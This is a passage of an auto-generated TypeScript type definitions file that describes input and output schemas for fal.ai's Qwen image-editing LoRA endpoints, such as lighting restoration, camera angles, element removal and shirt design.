string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryIntegrateProduct = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/penguin/4_Bz95EOoETXJlfuWib3r.png"}] + * @type array + */ + images: Image5F65D4Ba[] +} + +export type ImageSizeA7A12F99 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationImageSize = + { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryLightingRestorationImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryLightingRestorationOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryLightingRestorationAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryLightingRestorationAccelerationEnum] + +/** + * @description Input model for Lighting Restoration endpoint - Restore natural lighting by removing harsh shadows and light spots + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryLightingRestoration = { + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the image to restore lighting for. + * @example ["https://v3b.fal.media/files/b/0a860a2e/L4v5FJm9lwFGGdRY2P7tb.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSizeA7A12F99 + | InputFalAiQwenImageEdit2509LoraGalleryLightingRestorationImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryLightingRestorationOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryLightingRestorationAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image7Ad1Ef6A = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryLightingRestoration = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/0a860a37/ct1JcapCdZTzfNhI0-GM5.png"}] + * @type array + */ + images: Image7Ad1Ef6A[] +} + +export type ImageSize1D152B51 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesAccelerationEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesImageSize] + +/** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryMultipleAngles = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the camera control effect. + * @minimum 0 + * @maximum 4 + * @default 1.25 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Move camera forward (0=no movement, 10=close-up) + * @minimum 0 + * @maximum 10 + * @default 0 + * @type number | undefined + */ + move_forward?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description Adjust vertical camera angle (-1=bird's-eye view/looking down, 0=neutral, 1=worm's-eye view/looking up) + * @minimum -1 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + vertical_angle?: number + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesOutputFormatEnumKey + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Rotate camera left (positive) or right (negative) in degrees. Positive values rotate left, negative values rotate right. + * @minimum -90 + * @maximum 90 + * @default 0 + * @type number | undefined + */ + rotate_right_left?: number + /** + * @description The URL of the image to adjust camera angle for. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png"] + * @type array + */ + image_urls: string[] + /** + * @description Enable wide-angle lens effect + * @default false + * @type boolean | undefined + */ + wide_angle_lens?: boolean + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize1D152B51 + | InputFalAiQwenImageEdit2509LoraGalleryMultipleAnglesImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image38B5A764 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryMultipleAngles = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/elephant/0lEToxR8cU5tB-SVMmD2C.png"}] + * @type array + */ + images: Image38B5A764[] +} + +export type ImageSize6210Dc62 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryNextSceneImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryNextSceneImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryNextSceneImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryNextSceneImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryNextSceneOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryNextSceneOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryNextSceneOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryNextSceneOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryNextSceneAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryNextSceneAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryNextSceneAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryNextSceneAccelerationEnum] + +/** + * @description Input model for Next Scene endpoint - Create cinematic shot progressions and scene transitions + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryNextScene = { + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize6210Dc62 + | InputFalAiQwenImageEdit2509LoraGalleryNextSceneImageSizeKey + | null + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the camera movement, framing change, or scene transition. Start with 'Next Scene:' for best results. Examples: camera movements (dolly, push-in, pull-back), framing changes (wide to close-up), new elements entering frame. + * @default 'Next Scene: The camera moves forward revealing more of the scene' + * @example Next Scene: The camera pulls back to reveal the entire landscape + * @example Next Scene: The camera tracks forward as sunlight breaks through the clouds + * @example Next Scene: The camera pans right revealing new characters entering the frame + * @type string | undefined + */ + prompt?: string + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryNextSceneOutputFormatEnumKey + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the image to create the next scene from. + * @example ["https://v3b.fal.media/files/b/penguin/Zj5z8GW7yYlrpOQtuwjKQ_086265e41092415f951a6576fed25e41.png"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryNextSceneAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageBaca68F7 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryNextScene = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/panda/6r8XojqbZvFPhdizajCb3.png"}] + * @type array + */ + images: ImageBaca68F7[] +} + +export type ImageSizeC5Eff4C5 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryRemoveElementImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveElementImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveElementImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveElementImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryRemoveElementOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveElementOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveElementOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveElementOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryRemoveElementAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveElementAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveElementAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveElementAccelerationEnum] + +/** + * @description Input model for Remove Element endpoint - Remove/delete elements (objects, people, text) from the image + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveElement = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Specify what element(s) to remove from the image (objects, people, text, etc.). The model will cleanly remove the element while maintaining consistency of the rest of the image. + * @default 'Remove the specified element from the scene' + * @example Remove the person from the image + * @example Remove the car and the bicycle + * @example Remove the text and logos + * @type string | undefined + */ + prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the image containing elements to remove. + * @example ["https://v3b.fal.media/files/b/elephant/oWup_Q7zuvbfB4en-hneO_5aaa1cb3d3eb44999005159e82e7c9b7.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSizeC5Eff4C5 + | InputFalAiQwenImageEdit2509LoraGalleryRemoveElementImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryRemoveElementOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryRemoveElementAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageFe4E4E7E = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryRemoveElement = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/koala/dTldnOpRSFVBvWiyfOeO1.png"}] + * @type array + */ + images: ImageFe4E4E7E[] +} + +export type ImageSizeE73De69B = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveLightingImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveLightingOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveLightingAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryRemoveLightingAccelerationEnum] + +/** + * @description Input model for Remove Lighting endpoint - Remove existing lighting and apply soft even lighting + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryRemoveLighting = { + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSizeE73De69B + | InputFalAiQwenImageEdit2509LoraGalleryRemoveLightingImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryRemoveLightingOutputFormatEnumKey + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the image with lighting/shadows to remove. + * @example ["https://v3b.fal.media/files/b/panda/J0XyFgb0AAgyUzmVFd0nr_5363c66361d94cea89333795d700165d.png"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryRemoveLightingAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image9Ce31F9C = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryRemoveLighting = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/monkey/D7FrWGFnb7t8fjiE9Cok4.png"}] + * @type array + */ + images: Image9Ce31F9C[] +} + +export type ImageSizeAf3D7F03 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryShirtDesignImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryShirtDesignImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryShirtDesignImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryShirtDesignImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryShirtDesignOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryShirtDesignOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryShirtDesignOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryShirtDesignOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryShirtDesignAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryShirtDesignAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryShirtDesignAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryShirtDesignAccelerationEnum] + +/** + * @description Input model for Shirt Design endpoint - Put designs/graphics on people's shirts + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryShirtDesign = { + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSizeAf3D7F03 + | InputFalAiQwenImageEdit2509LoraGalleryShirtDesignImageSizeKey + | null + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe what design to put on the shirt. The model will apply the design from your input image onto the person's shirt. + * @default 'Put this design on their shirt' + * @example Put this design on their shirt + * @example Apply this graphic to their t-shirt + * @example Place this logo on their shirt + * @type string | undefined + */ + prompt?: string + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryShirtDesignOutputFormatEnumKey + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the images: first image is the person wearing a shirt, second image is the design/logo to put on the shirt. + * @example ["https://v3b.fal.media/files/b/tiger/1rq65RzrUwKtHLAwpEjq8_4ee388931b5142f1bd1f2e0a3cb2498e.png","https://github.com/fal-ai/fal-assets/blob/main/Logo%20Square.png?raw=true"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryShirtDesignAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6Ec0Cec6 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryShirtDesign = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/panda/Y5wKKIEuFpRMEUQ8ZPy01.png"}] + * @type array + */ + images: Image6Ec0Cec6[] +} + +export type ImageSize3A3Bcd90 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiQwenImageEdit2511ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2511ImageSizeKey = + (typeof inputFalAiQwenImageEdit2511ImageSize)[keyof typeof inputFalAiQwenImageEdit2511ImageSize] + +export const inputFalAiQwenImageEdit2511OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiQwenImageEdit2511OutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2511OutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2511OutputFormatEnum] + +export const inputFalAiQwenImageEdit2511AccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageEdit2511AccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2511AccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2511AccelerationEnum] + +export type InputFalAiQwenImageEdit2511 = { + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ 